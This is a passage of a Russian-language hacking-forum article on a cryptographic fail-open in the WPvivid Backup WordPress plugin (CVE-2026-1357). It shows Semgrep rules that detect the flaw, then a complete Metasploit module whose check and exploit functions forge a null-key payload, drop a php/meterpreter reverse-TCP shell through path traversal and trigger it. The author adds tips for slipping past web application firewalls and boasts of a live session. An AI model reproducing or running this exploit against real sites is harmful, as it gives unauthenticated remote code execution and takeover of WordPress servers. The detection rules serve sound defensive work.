  • Несколько более экзотичный fail-open, когда после того, как decrypt() отработает, его результат без проверки будет передан в какой-то конструктор(что потенциально так же опасно, как и классический случай).
  • Еще более редкая ситуация, когда результатом decrypt() алгоритм воспользуется при какой-то другой, сторонней криптографической операции(что опять же приведет к тому же результату).
Понятное дело, что для точности получаемых детектов следует применить и правила-исключения. Допустим, зачем нам заранее браковать весь код, если мы знаем, что хоть в ключ чисто теоретически и возможна передача значения "false", но это значение будет проверено?
PHP:
              function $F(...) {
                ...
                $KEY = $DECRYPT_OBJ->decrypt($KEY);
                ...
              }

Такие сюжеты мы и будем исключать, воспользовавшись оператором pattern-not. Ну и конечно же, мы сделаем темплейт универсальным: никаких жестко закодированных названий для переменных, все определяется по контексту. Начнем.
Первый сюжет реализован следующим образом:

YAML:
- id: php.crypto.phpseclib-decrypt-fail-open
    message: >
      Cryptographic fail-open (phpseclib) - CWE-327: результат decrypt() используется как ключ без проверки.
      При ошибке decrypt() возвращает false, что повлечет за собой ситуацию, когда setKey(false) - итогом станет предсказуемое шифрование .
      Обязательно проверяйте значение ключа перед его использованием: if ($key === false || empty($key) || !is_string($key)) { throw ... }; затем setKey($key).
    languages: [php]
    severity: ERROR
    metadata:
      cwe: "CWE-327"
      category: security
      technology: [php, phpseclib]
      references: [https://xss.pro/members/439090/]
    patterns:
      - pattern-either:
          - pattern: $OBJ->setKey($KEY)
          - pattern: $OBJ->loadKey($KEY)
          - pattern: $OBJ->setPassword($KEY)
          - pattern: $OBJ->withKey($KEY)
          - pattern: $OBJ->withPassword($KEY)
      - pattern-either:
          - pattern-inside: |
              function $F(...) {
                ...
                $KEY = $DECRYPT_OBJ->decrypt($DATA);
                ...
              }
          - pattern-inside: |
              function $F(...) {
                ...
                $KEY = $DECRYPT_OBJ->decrypt($KEY);
                ...
              }
          - pattern-inside: |
              class $C {
                ...
                function $M(...) {
                  ...
                  $KEY = $DECRYPT_OBJ->decrypt($DATA);
                  ...
                }
                ...
              }
          - pattern-inside: |
              class $C {
                ...
                function $M(...) {
                  ...
                  $KEY = $DECRYPT_OBJ->decrypt($KEY);
                  ...
                }
                ...
              }
    pattern-not:
      - pattern-inside: |
          function $F(...) {
            ...
            $KEY = $DECRYPT_OBJ->decrypt($DATA);
            if ($KEY === false || $KEY == false || !$KEY || empty($KEY) || !is_string($KEY) || $KEY === null) { ... }
            ...
            $OBJ->setKey($KEY);
            ...
          }
      - pattern-inside: |
          class $C {
            ...
            function $M(...) {
              ...
              $KEY = $DECRYPT_OBJ->decrypt($DATA);
              if ($KEY === false || $KEY == false || !$KEY || empty($KEY) || !is_string($KEY) || $KEY === null) { ... }
              ...
              $OBJ->setKey($KEY);
              ...
            }
            ...
          }
Указываем отдельный идентификатор(параметр id) для этого сценария, в нем прописываем как раз таки те ситуации, которые были обговорены выше. Явные паттерны нехорошего использования задаем через четкий оператор поиска совпадающих элементов: pattern. Нюансы в структуре самого алгоритма здесь прописаны через оператор pattern-inside. Получается следующая картина:
  • Для детекта хватает любого совпадения из двух групп pattern-either: будь то четкое совпадение через оператор "pattern:" или операторы "pattern-inside:", где указаны заведомо уязвимые сценарии, где ключ никоим образом не проверяется в своем значении перед использованием.
  • Исключаем все те сценарии, когда проверка есть, - тут заданы довольно простые примеры, при желании каждый может добавить что-то свое: правила тут, кстати говоря, довольно пластичные.

Следующие два "рула"(правила) - довольно схожи, так что, не будем растягивать статью на много тысяч знаков, разбирая каждый сюжет. Итоговый темплейт у меня состоял из трех правил(те самые сюжеты, которые я описывал выше), и выглядит примерно вот так вот:
YAML:
rules:
  - id: php.crypto.phpseclib-decrypt-fail-open
    message: >
      Cryptographic fail-open (phpseclib) - CWE-327: результат decrypt() используется как ключ без проверки.
      При ошибке decrypt() возвращает false, что повлечет за собой ситуацию, когда setKey(false) - итогом станет предсказуемое шифрование .
      Обязательно проверяйте значение ключа перед его использованием: if ($key === false || empty($key) || !is_string($key)) { throw ... }; затем setKey($key).
    languages: [php]
    severity: ERROR
    metadata:
      cwe: "CWE-327"
      category: security
      technology: [php, phpseclib]
      references: [https://xss.pro/members/439090/]
    patterns:
      - pattern-either:
          - pattern: $OBJ->setKey($KEY)
          - pattern: $OBJ->loadKey($KEY)
          - pattern: $OBJ->setPassword($KEY)
          - pattern: $OBJ->withKey($KEY)
          - pattern: $OBJ->withPassword($KEY)
      - pattern-either:
          - pattern-inside: |
              function $F(...) {
                ...
                $KEY = $DECRYPT_OBJ->decrypt($DATA);
                ...
              }
          - pattern-inside: |
              function $F(...) {
                ...
                $KEY = $DECRYPT_OBJ->decrypt($KEY);
                ...
              }
          - pattern-inside: |
              class $C {
                ...
                function $M(...) {
                  ...
                  $KEY = $DECRYPT_OBJ->decrypt($DATA);
                  ...
                }
                ...
              }
          - pattern-inside: |
              class $C {
                ...
                function $M(...) {
                  ...
                  $KEY = $DECRYPT_OBJ->decrypt($KEY);
                  ...
                }
                ...
              }
    pattern-not:
      - pattern-inside: |
          function $F(...) {
            ...
            $KEY = $DECRYPT_OBJ->decrypt($DATA);
            if ($KEY === false || $KEY == false || !$KEY || empty($KEY) || !is_string($KEY) || $KEY === null) { ... }
            ...
            $OBJ->setKey($KEY);
            ...
          }
      - pattern-inside: |
          class $C {
            ...
            function $M(...) {
              ...
              $KEY = $DECRYPT_OBJ->decrypt($DATA);
              if ($KEY === false || $KEY == false || !$KEY || empty($KEY) || !is_string($KEY) || $KEY === null) { ... }
              ...
              $OBJ->setKey($KEY);
              ...
            }
            ...
          }

  - id: php.crypto.phpseclib-decrypt-in-constructor
    message: >
      Cryptographic fail-open (phpseclib): результат decrypt() передаётся в конструктор без проверки.
      Проверяйте результат перед new Class($key).
    languages: [php]
    severity: ERROR
    metadata:
      cwe: "CWE-327"
      category: security
      technology: [php, phpseclib]
      references: [https://xss.pro/members/439090/]
    patterns:
      - pattern: new $CRYPT_CLASS($KEY)
      - pattern-either:
          - pattern-inside: |
              function $F(...) {
                ...
                $KEY = $DECRYPT_OBJ->decrypt($DATA);
                ...
              }
          - pattern-inside: |
              class $C {
                ...
                function $M(...) {
                  ...
                  $KEY = $DECRYPT_OBJ->decrypt($DATA);
                  ...
                }
                ...
              }
    pattern-not:
      - pattern-inside: |
          function $F(...) {
            ...
            $KEY = $DECRYPT_OBJ->decrypt($DATA);
            if ($KEY === false || $KEY == false || !$KEY || empty($KEY) || !is_string($KEY) || $KEY === null) { ... }
            ...
            new $CRYPT_CLASS($KEY);
            ...
          }

  - id: php.crypto.phpseclib-decrypt-then-encrypt
    message: >
      Fail-open (phpseclib): результат decrypt() используется в другой крипто-операции без проверки.
       результат decrypt() перед использованием как ключ.
    languages: [php]
    severity: ERROR
    metadata:
      cwe: "CWE-327"
      category: security
      technology: [php, phpseclib]
      references: [https://xss.pro/members/439090/]
    patterns:
      - pattern-either:
          - pattern: openssl_encrypt($DATA, $METHOD, $KEY, ...)
          - pattern: openssl_decrypt($DATA, $METHOD, $KEY, ...)
      - pattern-inside: |
          function $F(...) {
            ...
            $KEY = $DECRYPT_OBJ->decrypt($DATA);
            ...
          }
    pattern-not:
      - pattern-inside: |
          function $F(...) {
            ...
            $KEY = $DECRYPT_OBJ->decrypt($DATA);
            if ($KEY === false || $KEY == false || !$KEY || empty($KEY) || !is_string($KEY) || $KEY === null) { ... }
            ...
            openssl_encrypt($DATA2, $METHOD2, $KEY, ...);
            ...
          }
Все сценарии включены: паттерн с использованием для других криптоопераций без проверки, паттерн с переносом в другой класс без предварительной проверки, наш первый основной - в начале. Каждый такой элемент называется "rule" и суммарно они определены как "rules:". Также, никаких жестко закодированных элементов, как и планировалось: только динамическое определение и обобщенные паттерны.

Проверим это поделие на нашем уязвимом плагине:
1771509726735.png


Восхищение. Наш темплейт работает вполне себе ясно и четко. И "нюанс" вылетает перед нами с четким указанием директории и строки: теперь при анализе других материалов мы сможем сэкономить целую уйму времени на перебирании сорца в поисках чего-то интересного. Обошлись и без AI-интеграций(которые к слову ошибку не поймали, в отличие от нас - криптографии все таки уделяют малое количество внимания). Перейдем к реализации полноценного эксплоита, и сделаем мы это на базе удобнейшего фреймворка Metasploit.

Реализация эксплоита на базе Metasploit
Идем дальше. В реализации собственного метасплоит-модуля нет и никогда не было ничего сложного, да и многие люди уже ранее освещали эту тему со всех возможных сторон. Механику эксплойтинга мы рассмотрели выше, потому, можно сразу приступить к реализации. Да простят меня заядлые Ruby-девелоперы.
Для удобства сразу импортируем в инициализацию модуль, который автоматически перед произведением эксплойтинга запустит метод check()(который мы сюда присовокупим чуть позже), - модуль Msf::Exploit::Remote::AutoCheck.
Для работы с удаленными таргетами по HTTP/HTTPS подключаем стандартный для большинства эксплоитов модуль Msf::Exploit::Remote::HttpClient, и так как загружать мы будем именно PHP-шелл, хорошим тоном будет добавить в инициализацию модуль Msf::Exploit::FileDropper - этот модуль работает довольно примитивным образом: он автоматически производит "чистку следов" после того, как мы загрузили шелл. Шелл загружается, запускается, после чего файл удаляется.
Итого, инициализация выглядит в нашем модуле следующим образом(не забываем указать себя любимых здесь и вставить с nvd всю краткую сводку об уязвимости):


Ruby:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WPvivid Backup & Migration Send to Site Cryptographic Fail-Open RCE',
        'Description' => %q{
          WPvivid Backup & Migration (<= 0.9.123) decrypts with a null key on RSA failure and does not
          sanitize the file name in Send to Site. Results in arbitrary file write; requires an active
          Send to Site API token (wpvivid_api_token).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Lucas Montes (NiRoX)',
          'xleaknn'
        ],
        'References' => [
          ['CVE', '2026-1357'],
          ['URL', 'https://github.com/LucasM0ntes/POC-CVE-2026-1357']
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'WPvivid Backup & Migration <= 0.9.123',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2026-02-11',
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'Payload' => 'php/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
      ]
    )
  end
Классическим пэйлодом(если не выбрать свой) оставляем универсальный и старый вариант - php/meterpreter/reverse_tcp.
Далее, нам нужно заранее прописать функции, которые будут использованы и в check(), и в exploit() - это 2 функции, одна из которых шифрует нужные нам вещи под нужный формат с нулевым ключом, а другая - формировать сам пэйлод под wpvivid_content. Получается следующее:
Ruby:
def aes_null_key_encrypt(plaintext)
    key = "\x00" * 16
    iv = "\x00" * 16
    cipher = OpenSSL::Cipher.new('aes-128-cbc')
    cipher.encrypt
    cipher.key = key
    cipher.iv = iv
    cipher.padding = 1
    cipher.update(plaintext) + cipher.final
  end
  def build_wpvivid_payload(json_str)
    fake_rsa = 'ABC'
    enc = aes_null_key_encrypt(json_str)
    len_key_hex = format('%03x', fake_rsa.bytesize)
    len_data_hex = format('%016x', enc.bytesize)
    raw = len_key_hex + fake_rsa + len_data_hex + enc
    [raw].pack('m0')
  end

Именно благодаря этим функциям в дальнейшем будут работать check и exploit. Пропишем следующий необходимый(и во многих смыслах классический) кусок модуля: чекер.
Ruby:
def check
    uri = normalize_uri(target_uri.path)
    uri += '/' unless uri.end_with?('/')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })
    return CheckCode::Unknown('No HTTP response') unless res
    return CheckCode::Safe('Target did not respond') unless res.code == 200
    json = {
      backup_id: '1',
      name: 'probapera.txt',
      data: [''].pack('m0'),
      offset: 0,
      file_size: 0,
      md5: 'd41d8cd98f00b204e9800998ecf8427e'
    }
    payload_b64 = build_wpvivid_payload(json.to_json)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'wpvivid_action' => 'send_to_site',
        'wpvivid_content' => payload_b64
      }
    })
    return CheckCode::Unknown('No response to probe') unless res
    return CheckCode::Safe('No JSON response (token may be missing or expired)') unless res.body.to_s.include?('"result"')
    body = begin
      JSON.parse(res.body)
    rescue StandardError
      nil
    end
    return CheckCode::Safe('Unexpected response format') if body.nil? || body.empty?
    return CheckCode::Vulnerable('Plugin accepts send_to_site; API token present and fail-open exploitable') if body['result'] || body['error']
    CheckCode::Detected('Endpoint responds but result unclear')
  end

Здесь тоже нет ничего необычного. Один интересный момент: мы не используем готовый URI в формате /wp-admin/admin-ajax.php - это гораздо более выделяющийся паттерн для WAF. Вместо этого мы шлем запросы "в корень", после чего уже сам WordPress за нас перенаправит этот запрос. В чекере мы используем пустой файл probapera.txt, сам wpvivid_content создается с помощью функции build_wpvivid_payload(), прописанной до чекера. Эта функция включает в себя и шифрование под нужный формат с нулевым ключом, и форматирование. json задекларирован ранее и просто сначала обращается в строку, потом - шифруется.

Перейдем к эксплуатации:
Ruby:
def exploit
    handler
    shell_name = "#{Rex::Text.rand_text_alpha_lower(6)}.php"
    traverse = "../uploads/#{shell_name}"
    shell_content = payload.encoded
    md5_shell = Digest::MD5.hexdigest(shell_content)
    json = {
      backup_id: Rex::Text.rand_text_numeric(3),
      name: traverse,
      data: [shell_content].pack('m0'),
      offset: 0,
      file_size: shell_content.bytesize,
      md5: md5_shell
    }
    payload_b64 = build_wpvivid_payload(json.to_json)
    uri = normalize_uri(target_uri.path)
    uri += '/' unless uri.end_with?('/')
    print_status("Uploading payload to #{uri} as #{shell_name}...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'wpvivid_action' => 'send_to_site',
        'wpvivid_content' => payload_b64
      }
    })
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Upload failed: HTTP #{res&.code}")
    end
    body = begin
      JSON.parse(res.body)
    rescue StandardError
      nil
    end
    unless body && (body['result'] == 'WPVIVID_SUCCESS' || body['result'] == 'success')
      err = body.is_a?(Hash) ? body['error'] : nil
      fail_with(Failure::UnexpectedReply, "Upload failed: #{err || res.body}")
    end
    print_good("Payload uploaded. Triggering...")
    register_file_for_cleanup(shell_name)
    shell_url = normalize_uri(target_uri.path, 'wp-content', 'uploads', shell_name)
    send_request_cgi({
      'method' => 'GET',
      'uri' => shell_url
    })
    print_status("Exploit sent. If successful, you should get a session shortly.")
  end
end

Ничем от чекера особенно функция эксплуатации не отличается, кроме того, что она забирает пэйлод(у нас в дефолт задекларирован php/meterpreter/reverse_tcp) и вызывает хендлер, он же слушатель. После того, как шелл уже взят, вычисляется его MD5. Выйти из директории тут пытается классическим образом, с помощью ../uploads/, ну и шелл мы называем рандомным именем. Отправка идет схожим образом; отличие тут только в том, что мы держим хендлер и нам прилетает сессия метерпретера.
Не буду сильно тянуть кота за хвост, статья и так уже довольно затянулась. Что мы получаем в итоге:
1771520575469.png

Как-то так. Можем идти хулиганить, сессия прилетает и живет стабильно:
1771520662337.png


И это все - от простой ошибки в работе с криптографией и отсутствия проверки валидности 1 значения.
Что в итоге?
Уязвимость, на самом деле, довольно гадкая: не только тем, что не нужно никакой аутентификации для получения сразу полного контроля над таргетом, но и тем, что она трудно обнаружима, и единственный палевный момент здесь - обращение к AJAX, с довольно типичным контентом.
Да, WAF довольно эффективно такое видят и пресекают, и являются действительно неплохим вариантом защиты.
Тем не менее, говоря по опыту, подобное спокойно пролетало у меня и через Akamai, и через Cloudflare.

Многие, у кого стоял этот плагин, но не был включен нужный функционал, оставались в безопасности даже продолжая сидеть на уязвимой версии, но в итоге уязвимость опасна именно своей массовостью(WPvivid Backup Manager - действительно популярное решение, и используется очень многими).
Помочь в защите могут и всевозможные плагины/расширения, нацеленные на мониторинг.
Но что мы имеем в сухом итоге, ошибки криптографии являются одними из самых частых источников последующих RCE/Information Disclosure и прочих критов. И именно для того мы потрогали такую потрясающую технологию, как SAST: всегда стоит просмотреть сурсы лишний раз, чтобы не утомляться и не пропустить важную и в то же время очень маленькую дырку, которая может почти сразу подарить вам что-то с действительно высоким уровнем влияния. В последующих статьях по такой тематике оставлю создание своих темплейтов для этих нужд за добрую традицию. Натаскав свой SAST-инструмент на реальных кейсах, в дальнейшем можно легко и просто находить немалое количество дыр во всевозможных проектах.

Мы же прошли немалый путь и увидели, как конкретно выстраиваются подобные цепочки в атаках. Надеюсь, материал был полезен или хотя бы интересен ;)
 

Вложения

  • wpvivid_rce.zip
    2.3 КБ · Просмотры: 16
Последнее редактирование:
напиши еще про sast
Будет). Будет и про создание интеграций, и про плагины. Просто это, к сожалению, "лонгриды", и большой популярностью и славным откликом они не сильно славятся..
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх